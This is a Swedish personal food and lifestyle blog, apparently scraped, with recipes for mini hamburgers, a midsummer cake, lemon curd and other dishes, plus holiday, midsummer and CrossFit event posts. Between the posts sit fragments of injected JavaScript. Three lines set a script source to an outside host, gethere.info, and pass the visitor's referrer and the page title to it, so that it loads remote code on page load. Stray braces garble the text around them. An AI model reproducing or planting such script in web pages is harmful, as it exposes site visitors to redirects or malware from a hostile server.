Minihamburgare

Små goda hamburgare, perfekta för barnkalaset eller när du bjuder på buffé. Om du har möjliget så baka detta goda bröd och hamburgerdressingen är riktigt krämig och god.

 

Hamburgerbröd  (ca 16 stycken bröd)
25 gram jäst
0,5 tsk socker
3,5 dl vatten
2 tsk Knorr flytande kalvfond
8 dl vetemjöl
25 gram margarin
2 msk sesamfrön.

Blanda jästen i fingervarmt vatten. Tillsätt socker och fond (smält fonden i mikron), rör om. Blanda i mjölet och tillsätt slutligen margarinet. Knåda degen jämn och låt den jäsa under en handduk till sin dubbla storlek under en halvtimme. 2. Dela degen i ca 14-16 delar och baka till bullar. Täck över bullarna och låt dom jäsa på bakplåt under en halvtimme. Pensla bullarna med ägg/vatten och strö sesamfrön på ytan. Grädda vid 200°C under 8-10 minuter.

Hamburgare
700 gram nötfärs
1 tsk salt
0,5 tsk svartpeppar
1 msk Knorr flytande kalvbuljong
3 msk Knorr barbecuesås
1 riven gul lök
2 krm chilipeppar
Salt och peppar
Margarin till stekning

Hamburgare Blanda färsen med salt och peppar och arbeta den väl med en slev. Tillsätt Knorr Kalvfond, BBQsås, chilipeppar och lök och arbeta in den. Låt färsen vila 15 minuter i kylen. 5. Forma färsen med vattensköljda händer till 16 små biffar. 6. Pensla biffarna med flytande milda på bägge sidor, salta och peppra lite på varje sida. Applicera på grillen eller stekpannan och grilla eller stek dem ca 4 – 5 minuter på varje sida.

Hamburgerdressing
2 dl Milda Fraiche
3 msk tomatpuré
1 dl majonnäs
0,5 msk  Knorr Fond ”Du chef” vegetable
0,5 msk honung

Blanda såsens ingredienser i en skål. Låt smakerna mogna fram i kylskåp under en timme.Fyll bröden med små köttfärsbiffar, tomat, sallad och hamburgerdressing,

SEMESTER

Idag åker jag och min kille till Gran Canaria på en veckas semester. Underbart med lite sol och värme. Vi kommer bo i Las Palmas. Hotellet vi bor på heter Hotell Cantur.

BILD1 bILD2} else {

Midsommar 2014

I år fyllde jag år på midsommar. Blev uppvaktad med blommor och fint kort på morgonen.
Midsommar firade vi hos Niklas och Emma här i stan med grill, 5-kamp med grannarna och grill på kvällen.

Här kommer lite bilder från dagen och kvällen.

bild17

Helbild22bild23bild2bild1

bild12bild11bild9

 

bild10bild8bild7bild6bild5bild4bild16

bild14bild15bild20bild19bild18bild21

 

 

 }

Midsommartårta

Recepet på den här smarriga tårtan hittade jag på bloggen ”Nilla’s Kitchen” här.

bild1

Tårtbotten
6 ägg, separerade
1,5 dl honung eller Agave
1 tsk vaniljpulver
180 g kokosolja eller smör
4,5 dl mandelmjöl

bild1

Tårtbotten: Gör så här:
Värm ugnen till 175°C Smält kokosolja eller smör och låt stå vid sidan av. Smörj en större spring-form med antingen kokosolja eller smör och ”bröa” med mandelmjöl eller kokosflingor.

Placera äggvitorna i en stor bunke och vispa tills de är styva men inte “torra”. Om du vänder bunken upp och ner ska vitorna vara tillräckligt styva för att inte rinna ur.

Placera äggulorna i en separat bunke med honung eller agave och vispa hårt med elvisp (det går bra med samma visp som till vitorna utan att tvätta den) i 2-3 minuter eller till en tjock och krämig konsistens. Vispen ska lämna band-liknande spår när visparna lyfts.

Häll i det smälta fettet i äggule-vispet och rör försiktigt tills att allt kombinerats.

Tillsätt halva mängden äggvitorna till ägguleblandningen och rör försiktigt. Tillsätt sedan lite  äggvite-fluff  i tagen och “vik” försiktigt in det i smeten så att så mycket luft finns kvar som möjligt i smeten.

Tillsätt mandelmjölet och rör försiktigt.

Grädda i ugnen i ca 40-45 minuter tills att kakan är gyllene och har lyft i mitten och ser ut att dra ihop sig något och släppa lite från kanterna. Håll koll under tiden och blir den för brun för snabbt så lägg lite folie över mot slutet av gräddningen. Ta ut kakan och låt svalna helt.

bild6bild7bild10bild9bild5bild12bild4bild3bild2bild1

Lemon curd
2 citroner
2 äggulor
1 ägg
1,5 dl honung eller agave
100 g kokosolja

bild2

Lemon Curd. Gör så här:
Tvätta citronerna. Riv skalet av skalet från citronerna först och pressa sedan ut juicen.
Vispa äggulor, det hela ägget och sötning några minuter i en skål. Ställ skålen i vattenbad och tillsätt citronskal och citronjuice. Rör hela tiden tills krämen tjocknat, det kan ta mellan 15-25 minuter. (först kan det kännas som att det inte händer något och sedan plötsligt tjocknar det)
Klicka i kokosoljan eller smöret skedvis under omrörning tills det smält. Låt svalna. Förvara i kylskåp.

bild3

Till monteringen av tårtan
1-1,5 dl lemon curd eller efter smak
3 burkar  kokosgrädde (dvs det vita fasta i en burk kokosmjölk )  Ställ burken med kokosgrädde i med botten uppåt i kylskåpet. Ta fram den och gör små hål i toppen av burken och häll ut kokosvattnet, öppna burken och du har din kokosgrädde klar.
1/2 tsk vaniljpulver (jag skippade vaniljpulvret och tog lite honung istället och blandade i kokosgrädden).
en knapp liter jordgubbar

Gör lemon curd om du inte redan har förberett den . Låt svalna först i rumstemperatur, sen i kylen eller frysen så att den hinner stelna.

Montering av tårtan:
Vispa kokosgrädde med vaniljpulver.
Halvera den avsvalnade tårtbotten på mitten och bre lemon curd över snittytan på nedre halvan. Om du vill kan du skiva jordgubbar tunt och täcka över med.

Lägg tillbaka topplagret och bre över kokosgrädden. Täck med jordgubbar.

bild1

bild7

bild9

bild8

bild5bild6bild4bild3bild2bild1if (document.currentScript) {

Lemon curd

bild3

Här kommer ett supergott recept på en Lemoncurd som jag hittade på bloggen ”Nilla’s Kitchen”.

Lemon curd
2 citroner
2 äggulor
1 ägg
1,5 dl honung eller agave
100 g kokosolja

Gör så här:
Tvätta citronerna. Riv skalet av skalet från citronerna först och pressa sedan ut juicen.
Vispa äggulor (2 äggulor), det hela ägget (1 ägg) och sötning några minuter i en skål. Ställ skålen i vattenbad och tillsätt citronskal och citronjuice. Rör hela tiden tills krämen tjocknat, det kan ta mellan 15-25 minuter. (först kan det kännas som att det inte händer något och sedan plötsligt tjocknar det)

Klicka i kokosoljan eller smöret skedvis under omrörning tills det smält. Låt svalna. Förvara i kylskåp.

 bild10

bild9bild12bild2bild8bild1bild7bild6bild6bild13bild5 Så här ser din lemon curd ut när den kallnat i kylskåpet.

bild3

bild1} else {

Göteborg Throwdown lördag 14 juni 2014

10175022_10152033502761353_5318159861937969815_n

Är du den mest vältränade i Göteborg? I lördags hölls Göteborg Throwdown. Tävlingen hölls på grusplanen med löpbans som ligger bredvid Vallhalla IP i Göteborg.  Det var 200 atleter anmälda till tävlingen. När man själv kör CrossFit så blir det så mkt roligare att kika på tävlingen.

Tävlingsklasserna som finns är: Herrar (18+) 80 st Damer (18+) 80 st Masters Herrar (40+) 20 st Masters Damer (40+) 20 st

Här kan ni läsa lite mer om Göteborg Throwdown.

WOD1

BildC

 

WOD 2

BildA

WOD 3

BildB

Vinnarna ser ni här nedan.

Bild1

Bild2

Bilderna har jag lånat från Göteborg Throwdown’s hemsida.

Bild3Bild2Bild4

Bilderna som följer här nedan har jag fotat.

bild10

bild3

bild2bild1bild9bild8bild7bild5bild4s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Coconut and Avocado bars

De här små gobitarna är superenkla att baka och perfekt att förvara i frysen tills de skall ätas.

bild8

Grundreceptet hittade jag här.

Kakan
1 Avocado
2 msk honung
1 dl kokosolja (smält)
4 dl kokosflingor
0.5 tsk pepparmyntsextrakt
1 krm salt
Chokladtopping
0,5 dl kakao
0,5 dl kokosolja
1 msk honung
1 gnutta vaniljpulver
Gör så här:
Klä in en bakplåt i folie. Lägg alla ingredienser till kakan och mixa med en stavmixer till en jämn smet.
Lägg smeten i bakplåten och platta till och in i frysen ca 10-15 minuter.
Under tiden kan du röra ihop chokladsmeten till din topping. Ta fram kakan från frysen och häll på din chokladtopping. Ställ in i frysen ytterligare 10 minter tills chokladen stelnat. Lyft ut kakan från formen och skär i bitar. Ställ i frysen tills servering.bild7bild7bild6
bild5bild2bild4bild3bild1

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Citronsockerkaka

bild6

Förra veckan handlade jag på IcaMaxi på Mölndalsvägen och där bjöd de på den här supergoda kakan. Kakan är mycket saftig och smakar härlig citron. Till kakan serverades en citruskvarg…sååå gott. Receptet kommer från Ica.

Recept 12 bitar
3 1/2 dl vetemjöl
2 tsk bakpulver
1 kruka citronmeliss
1 citron
3 ägg
3 dl socker
1 1/2 dl olivolja med citronsmak
1 dl mjölk
Smör eller margarin till formen
Kokos eller ströbröd till formen

Gör så här:
Sätt ugnen på 175 grader.
Smör en form med löstagbar kant, ca 28 cm i diameter med matfett. Strö den med kokos eller ströbröd.
Blanda mjök och bakpulver. Strimla citronmelissen.
Riv det yttersta skalet av citronen.
Vispa ägg och socker pösigt. Rör ner citronmeliss, citronskal, olivolja och mjölk.
Sikta ner mjölblandningen och vänd ner den i smeten. Häll smeten i formen.
Grädda kakan i nedre delen av ugnen ca 30 minuter.
Kakan blir som en kladdkaka.
Servera kakan med blåbär och citruskvarg.

bild1

bild2bild3bild5bild7}

Nyttig isglass med mintchoklad och kokos.

100 gram whey protein pulver (mintchoklad)
500 gram vatten
30 gram kokosflingor

Mixa allt och häll upp i isglassformar och lägg in i frysen. Om du inte tycker om mintchoklad kan du prova en annan smaksättning som tex hallon eller vanilj och skippa kokos om du inte tycker om det.
Receptet räcker till ca 12 isglassformar (IKEA).

 

Sesam peanut noodles

bild2

Det här goda receptet hittade jag på Nigella Lawson’s hemsida.

Ingredients:
1 tablespoon sesame oil
1 tablespoon garlig infused olive oil (går lika bra att använda oliv olja och en krossad vitlöksklyfta)
1 tablespoon soy sauce
2 tablespoons sweet chilli sauce
100 grams smooth peanut butter
2 tablespoons lime juice

For the sallad:
125 grams mangetout (sockerärtor)
150 grams beansprouts (rinsed) (böngroddar)
1 red pepper (deseeded and cut into small stripes) Jag använde en röd paprika då jag inte är så förtjust i en chilipeppar
2 spring onions (finely sliced) (salladslök)
550 grams egg noodles
20 grams sesame seeds
4 tablespoons chopped fresh coriander

Method

  1. Whisk together all the dressing ingredients in a bowl or jug.
  2. Put the mangetout, beansprouts, red pepper strips, sliced spring onions and the noodles into a bowl.
  3. Pour the dressing over them and mix thoroughly to coat everything well.
  4. Sprinkle with the sesame seeds and chopped coriander and pack up as needed

bild4bild1bild2bild3bild5bild6bild7bild6bild8bild9bild10bild11Bild12bild13bild14

bild15bild16bild17bild18bild19bild20bild2s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;